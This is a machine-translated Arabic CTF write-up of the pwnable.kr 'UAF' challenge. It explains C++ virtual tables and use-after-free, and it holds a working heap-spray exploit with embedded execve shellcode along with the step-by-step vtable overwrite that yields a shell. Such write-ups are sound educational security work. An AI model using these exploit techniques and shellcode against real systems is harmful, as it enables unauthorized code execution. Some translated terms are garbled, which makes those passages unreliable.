حل وظيفة مع pwnable.kr 16 - UAF. استخدم بعد الضعف الحر

صورة

في هذه المقالة ، سننظر في ماهية UAF وأيضًا حل المهمة 16 من موقع pwnable.kr .

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

الوراثة والأساليب الافتراضية


وظيفة افتراضية - في البرمجة الموجهة للكائنات ، وظيفة فئة يمكن تجاوزها في الفصول اللاحقة. وبالتالي ، لا يحتاج المبرمج إلى معرفة نوع الكائن المحدد للعمل معه من خلال طرق افتراضية: يكفي أن نعرف أن الكائن ينتمي إلى الفئة أو سليل الفئة التي تم الإعلان عن الطريقة.

ببساطة ، لنفترض أن لدينا فئة أساسية محددة من قبل الحيوان والتي لديها وظيفة sreak الظاهري. لذلك يمكن أن تحتوي فئة الحيوان على فصلين للطفل هما Cat and Dog. تقوم الوظيفة الافتراضية Cat: sreak () بإخراج myau ، وسيؤدي Dog: sreak إلى إخراج gav. ولكن إذا تم تخزين نفس البنية في الذاكرة ، فكيف يفهم البرنامج أيا من الاختلافات التي يجب أن تسمى؟

يتم توفير كل العمل من خلال جدول الأساليب الافتراضية (TVM) ، أو ، كما هو محدد بواسطة vtable.

كل فئة لها TVM الخاص بها ويضيف المترجم مؤشر الجدول الظاهري الخاص به (vptr - المؤشر إلى vtable) ، كأول متغير محلي لهذا الكائن. دعونا التحقق من ذلك.
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; } 

ترجمة وتشغيل لرؤية الإخراج.
 g++ ex.c -o ex.bin 

صورة

الآن تشغيل تحت المصحح في المؤسسة الدولية للتنمية وتوقف قبل استدعاء الوظيفة الأولى. انتقل إلى نافذة HEX-View وقم بمزامنتها مع سجل RAX.

صورة

في الجزء المحدد ، نرى قيمة المتغيرات var1 عند تحديد متغيرات النوع ANIMALS و CAT. هناك عناوين أمام كلا المتغيرين ، كما قلنا ، فهذه مؤشرات إلى VMT (0x559f9898fd90 و 0x559f9898fd70).

دعونا نرى ما يحدث عندما يتم استدعاء func1:
  1. أولاً ، في RAX ، سيكون لدينا عنوان على الكائن باستخدام مؤشر ptr.
  2. علاوة على ذلك ، يتم قراءة القيمة الأولى للكائن في RAX - مؤشر إلى VMT (إلى العنصر الأول).
  3. في RAX ، تتم قراءة القيمة الأولى من VMT - وهو مؤشر لنفس الطريقة الافتراضية.
  4. في RDX ، يتم إدخال مؤشر للكائن (هذا أكثر شيوعًا).
  5. يتم إجراء استدعاء الأسلوب الظاهري.


صورة

عند استدعاء func2 ، يحدث نفس الشيء ، مع استثناء واحد ، وليس السجل الأول (RAX) ، ولكن الثاني (RAX + 8) تتم قراءته من VMT. هذه هي الآلية للعمل مع الأساليب الافتراضية.

صورة

اتحاد العمل النسائي


تعد مشكلة عدم الحصانة هذه نموذجية بالنسبة للكومة ، حيث تم تصميم المكدس لتخزين بيانات مقدار صغير (المتغيرات المحلية). الكومة ، كونها ذاكرة ديناميكية ، مثالية لتخزين كميات كبيرة من البيانات. في هذه الحالة ، يمكن أن يحدث تخصيص وإطلاق الذاكرة أثناء تنفيذ البرنامج. ولكن بسبب هذا ، من الضروري مراقبة الذاكرة التي يتم شغلها وأيها ليست كذلك. للقيام بذلك ، تحتاج إلى رأس خدمة لكتلة الذاكرة المخصصة. أنه يحتوي على عنوان البداية ومؤشر للعنصر الأول من الكتلة. وبينما كومة الذاكرة المؤقتة ، على عكس المكدس ، ينمو.

جوهر مشكلة عدم الحصانة هو أنه بعد تحرير الذاكرة ، قد يشير البرنامج إلى هذه المنطقة. لذلك هناك مؤشرات معلقة. تغيير رمز البرنامج والتحقق من ذلك.
 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; } 

صورة

دعنا نجد أين تعطل البرنامج. بقياس المثال السابق ، أتوقف قبل استدعاء الوظيفة ومزامنة Hex-View مع RAX. نرى أي شيء يجب أن يكون موجودًا لدينا. ولكن عند تنفيذ التعليمات التالية ، يبقى 0 في سجل RAX ، ويحاول بالفعل إلغاء التسجيل 0 ، يتعطل البرنامج.

صورة

صورة

وبالتالي ، لاستغلال UAF ، من الضروري نقل كود القشرة إلى البرنامج ، ثم الانتقال إلى بدايتها من خلال مؤشر التعليق (في VMT). هذا ممكن بسبب حقيقة أن كومة الذاكرة المؤقتة بناء على طلب يخصص كتلة من الذاكرة التي تم تحريرها في وقت سابق وبهذه الطريقة يمكننا محاكاة VMT ، والتي سوف تشير إلى shellcode. بمعنى آخر ، حيث يوجد عنوان دالة VMT سابقًا ، سيتم الآن تحديد عنوان shellcode. ولكن لا يمكننا أن نضمن أن ذاكرة الكائن المحدد الوحيد ستتزامن مع المنطقة التي تم مسحها للتو ، وبالتالي سنقوم بإنشاء العديد من هذه الكائنات في حلقة.

لنلقِ نظرة على مثال. أولاً ، خذ كود القشرة ، على سبيل المثال ، من هنا .
 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 

ويكمل كودنا:
 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; } 

بعد التجميع والتشغيل ، نحصل على قشرة كاملة.

صورة

حل وظيفة UAF


نضغط على أيقونة UAF الموقعة وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

صورة

عند الاتصال ، نرى الشعار المقابل.

صورة

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

صورة

دعنا نرى الكود المصدري
 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; } 


في بداية البرنامج ، لدينا نوعان من الطبقات الموروثة من فئة الإنسان. التي لديها وظيفة تعطينا قذيفة.

صورة

بعد ذلك ، نحن مدعوون لتقديم واحد من ثلاثة إجراءات:
  1. عرض معلومات الكائن ؛
  2. الكتابة إلى مجموعة من البيانات المقبولة كمعلمة برنامج ؛
  3. حذف الكائن الذي تم إنشاؤه.


صورة

نظرًا لوجود ثغرة أمنية في UAF في هذه المهمة ، يجب أن تكون الخطة كما يلي: إنشاء - حذف - الكتابة إلى الكومة - تلقي المعلومات.

الخطوة الوحيدة التي لدينا سيطرة كاملة عليها هي الكتابة إلى الكومة. ولكن قبل التسجيل ، نحتاج إلى معرفة كيف يبحث VMT عن هذه الكائنات وعنوان الوظيفة التي تعطينا الصدفة. باستخدام مثال ، فهمنا كيف يعمل VMT ، يتم تخزين المؤشرات إلى العناوين واحدة تلو الأخرى ، أي
func2 = * func1 + sizeof (* func1) ، func3 = * func1 + 2 * sizeof (* func2) إلخ.

نظرًا لأن أول وظيفة في VMT ستكون Give_shell () ، وعندما يتم استدعاء الدالة Man :: intro () ، سيكون العنوان الثاني من VMT هو العنوان enter. بالنظر إلى نظام 64 بت: * intro = * Give_shell + 8. سنجد تأكيدًا لهذا:

صورة

يثبت الخط الرئيسي + 272 افتراضنا ، لأن العنوان بالنسبة للقاعدة يزيد بمقدار 8.

اضبط نقطة توقف وانظر إلى محتويات EAX لتحديد العنوان الأساسي.

صورة

صورة

صورة

وجدنا العنوان الأساسي: 0x0000000000401570. وبالتالي ، بدلاً من shell ، نحتاج إلى كتابة العنوان Give_shell () في الكومة ، مخفضة بمقدار 8 ، بحيث يتم اعتباره قاعدة VMT ، بينما يزداد بمقدار 8 ، أعطانا البرنامج shell.

صورة

البرنامج كمعلمة هو عدد البايتات التي يقرأها من الملف واسم الملف. يبقى قليلاً الكتابة فوق البيانات ، تحتاج إلى تخصيص كتلة ذاكرة حجم كتلة المحررة. العثور على حجم الكتلة التي تشغل كائن واحد.

صورة

وبالتالي ، قبل إنشاء الكائن 0x18 = 24 بايت محجوزة. وهذا هو ، نحن بحاجة إلى إنشاء ملف يتكون من 24 بايت.

صورة

نظرًا لأن البرنامج يحرر كائنين ، فسيتعين علينا كتابة البيانات مرتين.

صورة

نحصل على قذيفة ، وقراءة العلم ، وحصلنا على 8 نقاط.

صورة

يمكنك الانضمام إلينا على Telegram . في المرة القادمة سوف نتعامل مع محاذاة الذاكرة.

Source: https://habr.com/ru/post/ar462471/


All Articles